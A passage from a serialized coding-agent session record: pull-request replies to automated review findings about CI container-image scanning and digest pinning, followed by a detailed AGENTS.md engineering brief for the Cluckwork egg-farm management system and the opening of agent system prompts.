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\\n\\n[Your team has set up Codex to review pull requests in this repo](https://chatgpt.com/codex/cloud/settings/general). Reviews are triggered when you\\n- Open a pull request for review\\n- Mark a draft as ready\\n- Comment \\\"@codex review\\\".\\n\\nIf Codex has suggestions, it will comment; otherwise it will react with 👍.\\n\\n\\n\\n\\nCodex can also answer questions or update the PR. Try commenting \\\"@codex address that feedback\\\".\\n \\n

\",\"path\":null,\"side\":null,\"line\":null}{\"type\":\"pull_request_comment\",\"body\":\"Addressed in 31f27a0.\\n\\nCorrect and reproduced: the scan jobs pull their image from a registry, so they had no `actions/checkout`, and Trivy exited 1 with `ERROR: cannot find ignorefile '.github/trivyignore.yaml'`. Both `third-party-images` jobs now check out first.\\n\\nYour finding also exposed a second defect I've fixed alongside it: the `if: failure()` step reported this as \\\"traefik:v3.7.10 has fixable HIGH/CRITICAL findings\\\" — false, the pin is current and scans clean — which would have sent a reader off to bump a digest that had nothing wrong with it. A step that fails for two reasons must not name one of them. It now states only that the scan failed, lists the possibilities, and leaves the diagnosis to the scan output.\\n\\nVerified: both Trivy scan jobs pass on CI.\",\"path\":\".github/workflows/image-audit.yml\",\"side\":\"RIGHT\",\"line\":90}{\"type\":\"pull_request_comment\",\"body\":\"Addressed in 1e5ee46. Agreed — the glob was a naming convention masquerading as a guarantee.\\n\\nDiscovery is now by **content**: any file under `deploy/` (maxdepth 1, `*.yml`/`*.yaml`) declaring a top-level `services:` key is rendered, paired and scanned. A candidate that then fails to render is a hard error, never a skip, and finding zero compose files fails loudly rather than reporting success over an empty set.\\n\\nVerified: dropped a `deploy/stack.yml` containing `image: redis:7` into the tree and re-ran the enumerator — it is discovered (3 files instead of 2) and refused:\\n\\n```\\nthird-party image(s) are not pinned to an immutable digest:\\n redis:7 (deploy/stack.yml:cache)\\n```\\n\\nUnder the old glob that file was invisible.\",\"path\":\".github/actions/third-party-image-pins/action.yml\",\"side\":\"RIGHT\",\"line\":null}{\"type\":\"pull_request_comment\",\"body\":\"Addressed in 1e5ee46 — and you were right that this needed a design change, not a better regex.\\n\\nI did not harden the parser. The count check violated the rule the file itself states (don't hand-parse a format the owning tool will answer for you), so I removed it entirely. `docker compose config --profiles` reports every profile a file **declares**, independently of which are enabled, and the resolved document records each service's own `profiles`. The check is now: **every declared profile must be carried by at least one rendered service.** Omit `--profile '*'` and `prod` is declared while nothing carries it, so the render is refused.\\n\\nThat is exact rather than heuristic: no counting, so no cancellation; no source-text parsing, so the inline-mapping hole cannot exist; and it is unaffected by how the YAML is written. It also stays sound when a service lists several profiles, since compose reports the whole list.\\n\\nEach input is now one bundle (`{source, declaredProfiles, config}`) instead of a `source=rendered` pair. `parseBundle` **refuses** a missing `declaredProfiles` rather than defaulting to `[]` — defaulting would turn the check into a no-op that still reports success, which is the same false-green shape.\\n\\nVerified both directions:\\n- Rendering the real `deploy/docker-compose.yml` without `--profile '*'` → refused, naming the profile.\\n- A regression test reproducing your exact scenario (a dropped profile-gated service alongside an extra image-bearing service, which the count check would have let through) → refused.\\n- 43/43 self-tests pass.\",\"path\":\".github/scripts/compose-images.mjs\",\"side\":\"RIGHT\",\"line\":null}{\"type\":\"pull_request_comment\",\"body\":\"@codex all three findings are addressed — please re-review.\\n\\n- **P1 checkout before loading the ignore file** — `31f27a0`. Reproduced exactly (`cannot find ignorefile`); both scan jobs now check out. Also fixed the failure message that misreported it as CVEs in Traefik.\\n- **P1 discover every compose file under deploy** — `1e5ee46`. Discovery is by content (top-level `services:` key) rather than a `docker-compose*.yml` glob. Verified with a `deploy/stack.yml` pinning `redis:7`: discovered and refused; invisible under the old glob.\\n- **P2 compare identities instead of counts** — `1e5ee46`. Removed the count check rather than hardening its regex. Completeness is now \\\"every profile the file **declares** (`docker compose config --profiles`) must be carried by some rendered service\\\" — no counting, no source-text parsing, so neither the cancellation nor the inline-mapping hole can exist. Regression test covers your exact scenario.\\n\\nOne thing worth a look on re-review, since it is the part I'd most like challenged: `parseBundle` now refuses a bundle missing `declaredProfiles` instead of defaulting to `[]`, because a default would silently turn the completeness check into a no-op that still reports success. If there is a path where a bundle can be produced without that field and still reach the scan, that is a false green and I'd want to know.\\n\\nCI green on the previous head; re-running now.\",\"path\":null,\"side\":null,\"line\":null}","text_elements",[],{"_427":854,"_406":407,"_429":413},{"_430":855,"_432":-5,"_45":-5,"_434":856,"_436":-5,"_100":329,"_96":438},[857],{"_439":413},{"_49":850,"_96":462},{"_427":859,"_406":407,"_429":413},{"_430":860,"_432":-5,"_45":-5,"_434":861,"_436":-5,"_100":329,"_96":438},[862,863],{"_439":413},{"_49":865,"_96":462},{"_49":864,"_96":462},"\n /workspace/cluckwork\n bash\n 2026-08-02\n Etc/UTC\n /workspace/cluckwork\n","# AGENTS.md instructions for /workspace/cluckwork\n\n\n# AGENTS.md — Cluckwork\n\nPoultry egg-farm management system. Backend: **.NET 10** (C#), layered DDD. Frontend: **React 19 + Vite** SPA in `web/`. Postgres via EF Core.\n\nThis file is the shared brief for any coding agent (Claude Code, Codex, etc.).\n\n## Layout\n\n```\nsrc/\n Cluckwork.Domain aggregates, value objects, domain events (no deps)\n Cluckwork.Application feature handlers, repository interfaces, validators\n Cluckwork.Infrastructure EF Core, Identity/JWT, repositories, seeding, jobs\n Cluckwork.Api minimal-API endpoints, middleware, Program.cs\nweb/ React/Vite SPA (see web/README.md)\ndeploy/ docker-compose (.yml prod, .dev.yml dev DB), .env.example\nspecs/ product + technical specs, wireframes\ntests/ Domain.Tests, Application.Tests, Api.IntegrationTests\n```\n\nDependencies point inward: Api → Application/Infrastructure → Domain. Domain depends on nothing.\n\n## Build / test / run\n\n```bash\ndotnet build Cluckwork.sln # warnings are errors — keep it clean\ndotnet test Cluckwork.sln # 688 tests as of 2026-07; integration needs Docker\n```\n\n- **Integration tests** spin up a real Postgres via Testcontainers (`docker` required). No SQLite — EF SQL semantics differ.\n- **Run full stack (prod-like):** `docker compose -f deploy/docker-compose.yml up --build` → SPA + API on http://localhost:8080 (single container; API serves the built SPA from `wwwroot`).\n- **Run frontend dev:** `cd web && npm run dev` → http://localhost:5173 (proxies `/api` → :8080).\n- **Debug API (no docker stack):** `docker compose -f deploy/docker-compose.dev.yml up -d` (Postgres on :5432), then run/debug `Cluckwork.Api` (Development env). Dev secrets live in **user-secrets**, not files.\n\n## Conventions (follow these)\n\n- **Result pattern:** domain/handlers return `Result` / `Result` (see `Domain/Common`). Don't throw for expected failures; throw only for invariant violations (e.g. `Flock.Create` guards).\n- **Every aggregate mutation must bump `Version`.** `Version` is an EF concurrency token (`IsConcurrencyToken`) — EF puts the *original* value in the UPDATE's WHERE but never auto-increments it. A mutation without `Version++` silently loses concurrent races (both writers match `WHERE Version = N`) instead of 409ing. This bug shipped three times (`RecordProduction` was correct; `Submit`/`Lock` and `SalesOrder.AddItem` weren't) — each now has a parallel-race integration test; add one for any new mutation.\n- **Handler per feature**, invoked directly from endpoints — **no MediatR**. Register handlers/validators/repos in `Program.cs`.\n- **Validation:** FluentValidation validators (`*Validator`), one per command; endpoints call `ValidateAsync` and return `ValidationProblem`.\n- **Endpoints:** minimal APIs grouped under `/api/v1/...` via `MapEndpoints`; writes require auth + an `Idempotency-Key` (middleware).\n- **Multi-tenancy:** every tenant-owned entity has `AccountId`; enforced by an EF **global query filter** + a **`TenantStampInterceptor`** (stamps on insert). `TenantContext` is resolved per-request from the JWT `account_id` claim. At startup it's unresolved → use `IgnoreQueryFilters()` in seeders.\n- **Auth:** asymmetric JWT + rotating refresh tokens. PEM keys come from config with escaped `\\n`; normalize via `PemKey.Normalize` before `ImportFromPem`. Integration tests generate an ephemeral RSA pair at test-process startup (`TestJwtKeys` in `CluckworkWebApplicationFactory.cs`) — no real key material is ever committed to source (`deploy/.env.example` carries PEM armor with a `replace-me` body, not a usable key).\n- **Migrations + base provisioning (#283):** EF migrations auto-apply on startup (`Database:MigrateOnStartup`, default true — but **Production sets it `false`**; the `migrate` command runs DDL out-of-band, see the #263 bullet below). The default account, the four assignable roles (`Roles.Assignable`), the default egg grades, and the default packed-unit conversions are **static reference data baked into the migrations themselves** — deterministic and multi-instance-safe by construction, **no runtime seeder, no `Seed:*` config**. They ship as **hand-written `migrationBuilder.Sql` with `WHERE NOT EXISTS` guards, deliberately NOT EF's `HasData`/`InsertData`** — `HasData` keys on the PRIMARY KEY, which assumes a virgin schema, but every install that ever booted pre-#283 already has these rows under *different* ids (the old `DatabaseSeeder` minted roles/grades/conversions with `Guid.NewGuid()`), so `InsertData` either collides on `PK_Accounts` or silently violates the real natural-key unique indexes. The #245 squash retires *that* particular reason (a virgin database is now the only starting state), but **do not \"regenerate\" these into `HasData`**: `HasData` rows become part of the **model**, and every one of these tables is user-mutable through the app (Settings renames the account, `PUT /api/v1/egg-grades/{id}` renames a grade, `EggUnitConversion.Update` retunes `EggsPerUnit`), so a later model-diff would emit `UpdateData`/`DeleteData` that silently reverts the farm's own edits. Raw SQL seeds once and then leaves the rows alone forever. The guard's scope differs per batch, and the rule is *whether the user can change the natural key or remove a set member*: the **egg grades** batch is gated on the account's grade catalog being **entirely empty** (whole-set), because grades are user-managed — `PUT /api/v1/egg-grades/{id}` renames one, and a per-name guard cannot see a `Small` the farm renamed to `Pullet`, so it would resurrect an active, saleable duplicate (the old seeder skipped the whole set for exactly this reason); **roles, unit conversions, and the default account** stay **per-key**, because their keys are not user-mutable (no role CRUD exists at all; `EggUnitConversion.Update` cannot change `UnitCode` and there is no create/delete; the account's key is a fixed id), and per-key additionally lets a later-added role or unit code back-fill into an older install. `MigrationSecurityReviewTests` pins the SQL shape (12 INSERT statements, 21 rows, every one `WHERE NOT EXISTS`-guarded, the grades guard blind to `\"Name\"`) and `BaseReferenceDataMigrationTests` pins the result against a real virgin Postgres. `MigrationSecurityReviewTests` also asserts no migration ever inserts a credential-shaped row (`AspNetUsers`, `PasswordHash`, `SecurityStamp`, …) — the schema itself is never a place a credential can hide. The first admin is a **separate, deliberately NOT migration-baked** concern — see the #283 bullet below.\n- **One migration, squashed (#245):** `Persistence/Migrations/` holds exactly **one** migration, `InitialCreate`, generated from the current model on 2026-08-01. It replaced the 34 that had accumulated since 2026-06-27 (12 of them carrying raw SQL written for mid-history data states — backfills that touch 0 rows on an empty database but still execute). Done once, before the first production deploy, precisely because no `__EFMigrationsHistory` anywhere needed baselining; **it cannot be repeated after go-live**. Any database still carrying the old history (a dev DB from `deploy/docker-compose.dev.yml`, an old demo/sim instance) can no longer migrate forward — **drop and recreate**: `docker compose -f deploy/docker-compose.dev.yml down -v && docker compose -f deploy/docker-compose.dev.yml up -d`. Two things in that migration are **hand-carried and un-regenerable** — a plain `dotnet ef migrations add` drops both on the floor, so never regenerate `InitialCreate` without re-adding them: (1) the four **`lower(\"Name\")` expression unique indexes** (`IX_EggGrades_AccountId_FarmId_LowerName`, `IX_ExpenseCategories_NameCi`, `UX_InventoryItems_Account_Farm_LowerName`, `IX_Products_AccountId_LowerName`) — EF cannot model a functional index, and losing them loses four uniqueness constraints; (2) the **static base reference data** raw SQL (see the bullet above). `MigrationSecurityReviewTests` and `BaseReferenceDataMigrationTests` fail if either goes missing.\n- **Seed command (#280, #284):** demo sample data is NOT boot-seeded — there is no `Seed__Demo` flag anymore. Run it explicitly, against a database that has **already been booted once** so the base seed above exists (default account, `Admin` role, default egg grades — the demo seed needs all three and fails fast with a clear message if they're missing): `ASPNETCORE_ENVIRONMENT=Development dotnet Cluckwork.Api.dll seed --profile demo` (an unset `ASPNETCORE_ENVIRONMENT` defaults to Production, which the guard below blocks — always set it for a local/dev/CI run). The command migrates the schema, runs `DemoDataSeeder`, then exits (Kestrel never starts); it is **authoritative** (seeds regardless of any config) and **fail-loud** (a real exit code: `0` only when data was actually seeded or was already present, non-zero with an stderr message otherwise — never a silent no-op). `DemoDataSeeder` is registered only when `!IsProduction()` (defense-in-depth): running the command against a Production-env process fails with a clear message instead of writing fake data. Intended flow: the serving process for a real farm stays Production; a non-Production process (dev box, CI, or a sim/load-test harness) runs `seed --profile demo` against its own already-base-seeded database. The **`simulation` profile** (#279) sits in the same `switch` with the same authoritative + fail-loud + Production-guarded contract (`SimulationDataSeeder`); it additionally records its date anchor + a completion marker in a durable `SimulationSeedState` row (anchor written before the first fixture mutation; completion stamped only after the manifest succeeds). A clean re-run — even one straddling a UTC-midnight rollover — reuses that anchor and converges to `AlreadySeeded` with an unchanged manifest fingerprint instead of writing a shifted duplicate set; `AlreadySeeded` is reported only when the counts are unchanged, so a `SimulationOptions` change that adds fixtures re-runs as `Seeded`. The durable anchor can't be poisoned by a mid-seed crash or by foreign daily entries a load test writes into the account (a data-derived anchor could); but a polluted account still fails the exact count validation **closed** (`Failed`) rather than certifying a fixture that no longer matches the definition.\n- **Break-glass recovery (#265):** `recover-admin` is a second one-off CLI verb on the same binary, same run-then-exit shape as `seed` — but deliberately **NOT** environment-gated (it must work against a real Production database): `dotnet Cluckwork.Api.dll recover-admin --email [--account ] [--reason ]`. For a locked-out account (the sole-Owner-lost-password case, no email/SMTP reset path) it, in one transaction, resets to a **freshly generated** temporary password (never one passed on the command line), rotates the security stamp, revokes every refresh token, and writes a conspicuous `User.BreakGlassReset` audit row carrying `--reason`. The temp password is printed to **stdout only** (never the logger/OTLP) and exit `0`; failures go to stderr with exit `1` and change nothing. `AdminRecoveryService` orchestrates; `IdentityProvider.BreakGlassResetAsync` shares the reset/revoke core with `SetUserPasswordAsync`. Full procedure + verification drill: `docs/runbooks/break-glass-account-recovery.md`.\n- **First-run admin provisioning (#283):** `bootstrap-admin` is a fourth one-off CLI verb, same run-then-exit shape as `seed`/`migrate`, always available in Production (same posture as `recover-admin`): `dotnet Cluckwork.Api.dll bootstrap-admin --email `. It migrates the schema (idempotent, like the other verbs), then — **only if the default account has no Owner yet** — creates one with a **freshly generated** password and `ApplicationUser.MustChangePassword = true`, printed to **stdout only** (never the logger/OTLP, identical rule to `recover-admin`). A re-run against an already-provisioned account is a silent no-op: no second Owner, no password reprinted. `FirstRunAdminService` orchestrates (mirrors `AdminRecoveryService`'s CLI-wrapper-calls-a-service shape); `IIdentityProvider.CreateUserAsync` gained an optional `mustChangePassword` parameter (default `false` — an ordinary Users-page-created user is never gated) that this is the only caller to pass `true`. While the flag is set: the JWT carries a `must_change_password` claim (`JwtTokenService`), `MustChangePasswordMiddleware` refuses **every** endpoint except `auth/change-password` and `auth/logout` with 403 (placed before `UseAuthorization`, so it applies uniformly regardless of an endpoint's `AuthPolicies` tier, and before the idempotency middleware, so a blocked write burns no key), and the SPA's `ProtectedRoute` renders a **\"Set your password\"** screen (`SetPasswordPage`, reusing `/auth/change-password` — the operator already knows the printed password as their \"current\" one) instead of the app shell, on every route. Any successful password reset (self-service change, an Owner's `SetUserPasswordAsync`, or break-glass) clears the flag — a single invariant in `IdentityProvider`, not re-derived per path. **Deliberately a separate credential type** from `recover-admin`'s temp password and from #308's browser step-up re-confirmation grant — different audience (pre-auth shell access vs. an authenticated Owner), different lifetime, never conflated; do not treat any of #283/#265/#308 as covering another.\n- **Farm timezone + tzdata/ICU image constraint (#264):** the default account (a fixed `\"UTC\"` migration literal since #283 — see the bullet above) is provisioned once; a real farm sets its actual IANA zone via **Settings → timezone** after first login (`Account.UpdateSettings`), not at provisioning time (the `Seed:TimeZoneId` config lever from before #283 is retired along with the runtime seeder it fed). The farm clock resolves IANA zones via `TimeZoneInfo.FindSystemTimeZoneById` for every safety-sensitive local-day decision and **fails closed**, so the runtime **image MUST carry tzdata + ICU** (the Ubuntu 24.04 (Noble) `aspnet:10.0` base does; **never** an Alpine/chiseled base without tzdata, and **never** `InvariantGlobalization=true`). `Program.cs` still asserts a representative IANA canary resolves at boot (`TimeZoneAvailability.EnsureResolvable`) — a bad image fails the boot loudly instead of surfacing later as a per-request `FarmTimeZoneException`.\n- **Migrate command + prod migration split (#263):** `dotnet Cluckwork.Api.dll migrate` is a third run-then-exit CLI verb (same shape as `seed`) that applies EF migrations then exits — the **pre-deploy-job entrypoint**. In **Production** (`appsettings.Production.json`, loaded because the container leaves `ASPNETCORE_ENVIRONMENT` unset → Production; setting it to Development silently re-enables boot-migration) **`Database:MigrateOnStartup=false`**, so the request-serving process never runs schema DDL. The **actual guarantee is ordering** — migrate runs *before* serve: `deploy/docker-compose.yml` runs a one-shot `migrate` service first and `app` waits on `service_completed_successfully` (any other orchestrator runs the `migrate` job as a pre-deploy step). `DatabaseReadyHealthCheck` is the **backstop**: `/health/ready` returns **503 while any migration is pending**, so an orchestrator's readiness gate won't route traffic to a stale schema. This is the app-side of #263's privilege separation. The **remaining host-specific deploy step**: create a least-privilege runtime role (`GRANT USAGE ON SCHEMA public` + DML/sequence privileges, **no DDL**; plus **`ALTER DEFAULT PRIVILEGES`** for the migrator role so objects future migrations create are auto-granted to the runtime role) and point the migrate job at a separate owner/migrator credential. This PR **does not** close #263 on its own — it references it; the role split closes it.\n- **Proxy-trust boot guard (#260):** behind a reverse proxy/edge, HSTS (#144) and the per-IP login limiter (#143) only work if the app trusts the proxy's `X-Forwarded-*`, which it does **only** for networks in `RateLimiting:TrustedProxies`. An **empty list in Production fails the boot** (a serving-process guard placed *after* the CLI dispatch, so `migrate`/`seed`/`recover-admin` are unaffected) rather than silently running with inert HSTS + a one-bucket limiter. Opt out with `RateLimiting:AllowNoTrustedProxies=true` only for a rare direct-TLS deploy with no fronting proxy. The concrete edge CIDR is deploy config (in the separate deployment/ops repo).\n- **Production Postgres TLS floor (#261/#262):** `ConnectionStrings:Default` accepts libpq URI form (`postgresql://…`, translated to Npgsql key-value; a param Npgsql supports under a different spelling — `channel_binding`, `target_session_attrs`, `gssencmode` — is **mapped**, and only a genuinely unsupported one — `sslcompression` — skips-with-warning; **`ContainsKey(\"\") == false` does NOT mean Npgsql lacks the setting** — it usually means the keyword is spelled differently (`keepalives` → `Tcp Keepalive`, `client_encoding` → `Client Encoding`, `gssencmode` → `GSS Encryption Mode`), so search the keyword list for the concept before concluding a param is unmappable; that exact false negative is what shipped #332, and the first fix for it re-made the same mistake with `keepalives`. Still unmapped and worth a follow-up: the `keepalives*` family and `client_encoding` — `keepalives` needs a *value* translation (`1` → a bool keyword), not just a keyword map) as well as key-value. In **Production** the effective `sslmode` is validated once at boot as a fail-closed **allow-list**: `VerifyCA`/`VerifyFull` silent, `Require` warns (prefer VerifyFull), and **everything else — `Disable`/`Allow`/`Prefer`, unset (Npgsql defaults to `Prefer`), or any undefined `SslMode` — fails the boot**. Never auto-injected. `Database:AllowInsecureConnection=true` is the explicit opt-out for the co-located plaintext compose stack (set on both `app` and `migrate`; a real deploy never sets it). The `VerifyFull` CA + per-host `sslmode` are deploy config (in the separate deployment/ops repo). Integration tests opt out of this **and** the #260 guard in `CluckworkWebApplicationFactory` (plaintext Testcontainers, no proxy) — a Production-env test that skips those opt-outs will fail the boot.\n- **GSS/Kerberos negotiation off by default (#332):** Npgsql's `GssEncryptionMode` defaults to `Prefer`, so every connector probes the GSSAPI stack before authenticating. The runtime image carries no `libgssapi-krb5-2` (#267 keeps it minimal), so that probe made .NET's native security shim print two **unstructured, pre-Serilog** lines to stderr per connecting process (`Cannot load library libgssapi_krb5.so.2`) — non-fatal but it reads like a failure during deploys and lands badly in an OTLP sink. `PostgresConnectionString` now appends `GSS Encryption Mode=Disable` **unless the operator specified it**, detected by **presence, not value** (`prefer` is Npgsql's own default, so a value comparison would silently override an operator who asked for it) — via the *base* `DbConnectionStringBuilder`, since `NpgsqlConnectionStringBuilder.ContainsKey` returns true for every keyword it knows, defaults included. Appended **textually** after the TLS floor runs: a round-trip through the Npgsql builder would reorder/requote the operator's own string and throw on any keyword this Npgsql version doesn't know. Orthogonal to `sslmode` (#262 untouched) and to GSS *authentication* (a separate Npgsql path). Fixing the image instead was rejected — it adds package surface to a Trivy-gated image. **Verified by loader trace** (`LD_DEBUG=libs` against a scram-sha-256 Postgres): `Prefer` dlopens `libgssapi_krb5.so.2`/`libkrb5.so.3`/`libkrb5support.so.0` even though the server never offers GSS; `Disable` produces **zero** gssapi/krb5 loader activity and connects identically — so under password auth there is no residual GSS-*auth* probing either. End-to-end confirmation on the managed cluster (deploy repo) is the only step left.\n- **Design-time migration connection fail-closed (#318):** `AppDbContextDesignTimeFactory` (used by `dotnet ef migrations add`/`database update`, never by the `migrate` verb, which uses the built host's own config) has **no default connection** — an unset/blank `CLUCKWORK_MIGRATIONS_CONNECTION` throws immediately, naming the variable, rather than falling back to a predictable `Host=localhost;...;Username=postgres;Password=postgres`. Every target is held to the **same allow-list TLS floor as a Production boot** (#261/#262, reused via `PostgresConnectionString.NormalizeAndValidate` — no second validator), except an explicitly acknowledged **loopback** development target: `CLUCKWORK_MIGRATIONS_ALLOW_INSECURE_LOOPBACK=true` permits plaintext, but only when the connection's host is `localhost`/`127.0.0.1`/`::1` (checked via `IPAddress.IsLoopback`) — set against any other host, it fails rather than silently widening scope.\n- **Container image hardening (#267):** the runtime stage runs **non-root** (`USER $APP_UID`, uid 1654 — the base image's built-in `app` account); all three base images are **digest-pinned** (`@sha256:…`, kept current by Dependabot's `docker` ecosystem); a CI job builds the image and **Trivy** fails the build on a *fixable* HIGH/CRITICAL. `aquasecurity/trivy-action` is **SHA-pinned** — the action was compromised in the 2026-03 supply-chain incident, so pin the immutable commit, not the re-pointable tag (this is the standing rule for third-party actions). Keep the full glibc base (tzdata + ICU per #264); never chiseled/Alpine.\n- **Every image this repo names is digest-pinned AND scanned (#369).** #267 covers the image we *build*; this covers the ones we *reference*. **Any `image:` in a compose file must be `name:tag@sha256:…`** — both halves: the digest is what makes a pull reproducible and ties running bytes to scanned bytes, the tag is what makes staleness reviewable. That is enforced, not conventional: `.github/scripts/compose-images.mjs` (self-tested, `node --test`) enumerates every third-party pin in `deploy/` and **fails on a ref that is not digest-pinned**, then emits them as a matrix that `ci.yml` Trivy-scans per PR. The failure this closes is worth remembering, because *every* individual piece looked fine: Postgres was digest-pinned, Traefik was pinned to `v3.5` — a **release-branch** tag, which upstream silently stops moving once attention shifts to the next minor — and the Trivy step scanned `image-ref: cluckwork-api:ci`, the application image *only*. So the reference stack sat for eight months on a build with **57 fixable HIGH/CRITICAL** (a CRITICAL Go stdlib CVE among them) while the deploy repo read its production Traefik version out of that same file. **A digest pin is inert by construction** — it never floats to a fix — so pinning without a bump proposer converts \"silently drifts\" into \"silently rots\"; Dependabot's **`docker-compose` ecosystem** (a *separate* ecosystem from `docker`, which reads Dockerfiles and never looks at compose files) is what closes that loop. Four things are load-bearing and easy to \"simplify\" away: (1) the compose render must pass **`--profile '*'`** — `traefik` is behind `profiles: [\"prod\"]` and a plain render omits it *silently*, so the enumeration succeeds over a smaller set (measured: without the flag it exits 0 listing Postgres alone). That is **guarded**, because a render cannot detect its own omission: each bundle carries the file's **declared** profile list from `docker compose config --profiles` (which reports every profile a file declares regardless of which are enabled), and every declared profile must be carried by some rendered service. An earlier version compared `image:` **counts** between the source text and the render and was unsound — a count cannot tell \"one service dropped\" from \"one dropped and one gained\", and the line regex feeding it missed an inline `db: {image: …}`, so an undercount could *cancel* a dropped service (#379 review); (2) the enumerator reads **`docker compose config --format json`**, never raw YAML — same rule as `tools/simulation/verify-harness.sh`: assert the resolved value, and never hand-parse a format the tool that owns it will answer for you; (3) compose files are discovered **by content** (any file under `deploy/` with a top-level `services:` key), never by a `docker-compose*.yml` glob, which silently covers nothing named `compose.yml` or `stack.yml` (#379 review); (4) it refuses an **empty** image set, since a scan job over zero images is green and reads as \"all pins clean\". **`ignore-unfixed: true` is not sufficient on its own here** — it asks whether the *package* has a fix, but the actionable unit for a pin is the *image*, and those come apart when upstream has not rebuilt (postgres ships a `gosu` built against Go 1.24.6, so 15 HIGH/CRITICAL stdlib findings attach to the newest published image, with nothing to bump to). That gap is handled by **`.github/trivyignore.yaml`** — dated, per-CVE, **path-scoped** exceptions with a *required* `expired_at`, the same escape-hatch contract as `.github/security-exceptions.json`, and deliberately **not** applied to the application image's own scan. Never widen one to a wildcard and never demote the scan to advisory to avoid an entry: verified both directions — the ignore file clears postgres while `traefik:v3.5` still fails red through it.\n- **Build-time scanning cannot answer \"still clean\" (#369).** `ci.yml` runs on `push`/`pull_request`, so a newly published advisory against an unchanged image has **no commit to fire on** — nothing changes, nothing runs, nothing looks. That is the precise mechanism by which the stale Traefik pin survived eight months. `.github/workflows/image-audit.yml` closes it on a **daily** cron (vs. `security-audit.yml`'s weekly, because a base-image CVE is fixed by an upstream rebuild that can land any day): it re-scans the third-party pins *and* the **published application image**, pulled from GHCR rather than rebuilt — a rebuild would take ~20 minutes and scan bytes that have never been deployed, which answers a question nobody asked (#351's premise is that the published digest *is* the artifact). It walks back up to 25 commits to find one with an image, because a `[skip ci]` in a commit message legitimately leaves `main` HEAD unpublished, and it **scans by digest**, not by the `:sha-` tag it looked the digest up under — that tag is mutable by anyone with `packages: write`, the same reason release promotion refuses to trust it.\n- **Container health probe (#266):** the runtime image **and** the compose `app` service carry a `HEALTHCHECK` that runs `dotnet Cluckwork.Api.dll healthcheck` — a **fourth run-then-exit CLI verb**, but **dispatched *before* host build** (`Program.cs`, `args is [HealthCheckCliCommand.Verb, ..]`), not via `CliDispatcher`: unlike `migrate`/`seed`/`recover-admin` — which operate on the built host — this one needs no host/DI/DB/config, so a 30s probe must not re-run the whole app startup or re-log boot warnings on every tick. The hardened image ships **no curl/wget** (#267), so the probe is **in-process**: it GETs `/health/ready` over loopback (port derived from `ASPNETCORE_URLS`, default `8080`) and exits `0` on a 2xx, `1` on any other status **or** an unreachable server (refused/timeout) — never a false green. So an instance whose `/health/ready` is 503 (DB down, migrations pending per #263) reports **unhealthy** and compose/an orchestrator stops routing to it. Its `ProbeAsync`/`DefaultReadyUrl` are unit-tested directly (no Docker). The CI `image` job (#267) now also **boots** the built image against a throwaway Postgres and asserts `/health/ready` goes green + the verb exits `0`, so an unbootable image fails CI instead of at deploy time — this is the **app-side of #266**. Deploy-side (the host's readiness path, wait-for-CI gate, post-deploy smoke) lives in the separate deployment/ops repo.\n- **Transient-DB retry, and where it stops (#269):** `EnableRetryOnFailure` (`Database:Resilience:*`, bounded — never infinite) makes a managed-Postgres failover or a dropped pooled connection retry instead of 500ing. It applies to everything EF runs as a **self-contained unit**: every read, and every `SaveChanges` outside a user-initiated transaction. It deliberately does **NOT** apply to a transaction that spans work which is not replayable, because a transaction cannot be *resumed* after a connection loss, only replayed from the start. **Four** such regions exist and all run through **`SingleAttemptExecution`** — inside the execution strategy (EF requires that to open the transaction at all) but **executed exactly once**: `IdempotencyMiddleware`'s request-wide transaction, which covers `next(context)` (replaying the pipeline re-consumes the single-use in-memory #308 step-up grant, and makes a state transition answer 422 for a request that already succeeded); `AmbientTransaction`'s **owned** path (a failed attempt's entities stay tracked as `Added` — EF never detaches them — so a replay flushes duplicate users/audit rows/refresh tokens); and **`FirstRunAdminService`'s whole lock → check → create region** (#350 review). That last one is the subtle case, and the reason \"the write is single-attempt\" is *not* sufficient on its own: `bootstrap-admin` guards \"exactly one first-run Owner\" with a **session-scoped** `pg_advisory_lock`, but the Owner/conflict **reads** that decide whether to create were ordinary EF units, so the strategy retried *them*, and a retry **reconnects** — dropping the lock and walking into the create unguarded (two invocations with different emails could each mint an Owner). Wrapping the whole region makes it one non-replayed attempt; on top of that the create is gated on **proving** ownership — `pg_locks … AND pid = pg_backend_pid()` — because EF also silently *replaces* a connection it finds no longer usable, with no exception and no retry to intercept. That proof is asked **twice**, and the second one is the load-bearing one (#350 review round 3): a check that merely precedes the write still returns before `AmbientTransaction` establishes the create transaction, and a connection replaced in *that* gap leaves the `INSERT` running on a backend that never took the lock while the check's `true` describes a backend that no longer exists. So `FirstRunAdminService` **owns the create transaction itself** and re-proves ownership as the first statement *inside* it — same backend as the `INSERT` by construction, and from there a connection loss aborts the transaction instead of reconnecting invisibly; `IdentityProvider.CreateUserAsync` simply **joins** it (`AmbientTransaction`'s ambient path, exactly as under #307's request-wide transaction), so the lock check is never imposed on the Users page or the seeders that share that method. The pre-transaction check is kept in front as one cheap round trip that refuses before a password is even generated. All **fail closed** (`Bootstrap.LockLost`, exit 1): a refused `bootstrap-admin` is re-runnable and idempotent, a second farm Owner is not undoable. Never widen a session-scoped lock's region without all three parts, and never let a *comment* claim continuity a point-in-time check cannot deliver — that overstatement is exactly how the write-side gap survived two review rounds. The **fourth** region is `AccountLockout`'s `AccessFailedAsync` **save** (#350 review round 4) and it is the one that shows \"unreplayable\" is not a synonym for \"transactional\": there is no transaction here at all, just a plain `SaveChanges` — textbook self-contained unit. What disqualifies it is the CALLER. Neither password oracle is idempotency-wrapped (login is anonymous so the tenant gate skips it; `/auth/step-up` is on `ResponseNotCacheable`), so the strategy replays that save; on the ambiguous commit the replay re-issues the `UPDATE` under the stale Identity `ConcurrencyStamp`, matches 0 rows, and returns `IdentityResult.Failed` — which the reload loop (correctly present, for genuine parallel writers) reads as \"lost a race\", reloading the **already-incremented** user and incrementing it **again**. One wrong password would then cost two failed accesses and lock at roughly half the #128 threshold — the same consequence that shipped once already on a different path in #336. Wrap the **save** only; the reload is an ordinary replayable read and keeps its retry. The test to write for this shape is not \"d\n",{"_427":867,"_406":407,"_429":413},{"_430":868,"_432":-5,"_45":-5,"_434":869,"_436":-5,"_100":870,"_96":438},[871],{"_439":413},"developer",{"_49":872,"_96":462},"Do not spawn sub-agents unless the user or applicable AGENTS.md/skill instructions explicitly ask for sub-agents, delegation, or parallel agent work.",{"_427":874,"_406":407,"_429":413},{"_430":875,"_432":-5,"_45":-5,"_434":876,"_436":-5,"_100":870,"_96":438},[877],{"_439":413},{"_49":878,"_96":462},"You are `/root`, the primary agent in a team of agents collaborating to fulfill the user's goals.\n\nAt the start of your turn, you are the active agent.\nYou can spawn sub-agents to handle subtasks, and those 